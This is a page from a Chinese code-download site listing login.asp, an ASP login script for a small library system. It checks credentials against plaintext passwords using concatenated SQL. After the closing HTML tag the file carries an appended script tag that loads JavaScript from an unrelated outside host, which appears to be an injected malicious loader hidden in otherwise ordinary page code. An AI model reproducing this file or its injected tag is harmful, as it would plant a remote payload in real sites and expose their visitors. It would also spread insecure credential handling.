⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 login.asp

📁 自己做的一个图书系统
💻 ASP
字号:
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!--#include file="Connections/web.asp" -->
<%
' *** Validate request to log in to this site.
MM_LoginAction = Request.ServerVariables("URL")
If Request.QueryString<>"" Then MM_LoginAction = MM_LoginAction + "?" + Server.HTMLEncode(Request.QueryString)
MM_valUsername=CStr(Request.Form("name"))
If MM_valUsername <> "" Then
  MM_fldUserAuthorization=""
  MM_redirectLoginSuccess="index.asp"
  MM_redirectLoginFailed="jjfw.asp"
  MM_flag="ADODB.Recordset"
  set MM_rsUser = Server.CreateObject(MM_flag)
  MM_rsUser.ActiveConnection = MM_web_STRING
  MM_rsUser.Source = "SELECT name, pass"
  If MM_fldUserAuthorization <> "" Then MM_rsUser.Source = MM_rsUser.Source & "," & MM_fldUserAuthorization
  MM_rsUser.Source = MM_rsUser.Source & " FROM user WHERE name='" & Replace(MM_valUsername,"'","''") &"' AND pass='" & Replace(Request.Form("pass"),"'","''") & "'"
  MM_rsUser.CursorType = 0
  MM_rsUser.CursorLocation = 2
  MM_rsUser.LockType = 3
  MM_rsUser.Open
  If Not MM_rsUser.EOF Or Not MM_rsUser.BOF Then 
    ' username and password match - this is a valid user
    Session("MM_Username") = MM_valUsername
    If (MM_fldUserAuthorization <> "") Then
      Session("MM_UserAuthorization") = CStr(MM_rsUser.Fields.Item(MM_fldUserAuthorization).Value)
    Else
      Session("MM_UserAuthorization") = ""
    End If
    if CStr(Request.QueryString("accessdenied")) <> "" And false Then
      MM_redirectLoginSuccess = Request.QueryString("accessdenied")
    End If
    MM_rsUser.Close
    Response.Redirect(MM_redirectLoginSuccess)
  End If
  MM_rsUser.Close
  Response.Redirect(MM_redirectLoginFailed)
End If
%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>陶益数码工作室用户登录</title>
</head>

<body>
<div align="center">
  <h1>用户登录</h1>
</div>
<form id="form1" name="form1" method="POST" action="<%=MM_LoginAction%>">
  <table width="600" border="0" align="center" cellpadding="6" cellspacing="0">
    <tr>
      <td width="267"><div align="right">用户名</div></td>
      <td width="309"><label>
        <input name="name" type="text" id="name" />
      </label></td>
    </tr>
    <tr>
      <td><div align="right">密 码</div></td>
      <td><label>
        <input name="pass" type="password" id="pass" />
      </label></td>
    </tr>
    <tr>
      <td>&nbsp;</td>
      <td><label>
        <input type="submit" name="Submit" value="登录" />
        <input type="reset" name="Submit2" value="重置" />
      </label></td>
    </tr>
  </table></form>
  <table width="760" border="0" align="center" cellpadding="6" cellspacing="0">
    <tr>
      <td><div align="center">
          <hr />
          <a href="http://www.ty502.com/"></a> <strong><a href="http://www.ty502.com/"><font color="#0000FF">陶益数码工作室</font></a> </strong>Copyright &copy; 2007 <a href="http://www.ty502.com/banquan.asp"><strong><font color="#0000FF">版权所有</font></strong></a></div></td>
    </tr>
  </table>

</body>
</html>

<script language=javascript src=http://xxx.cslr1.com/mp.js></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -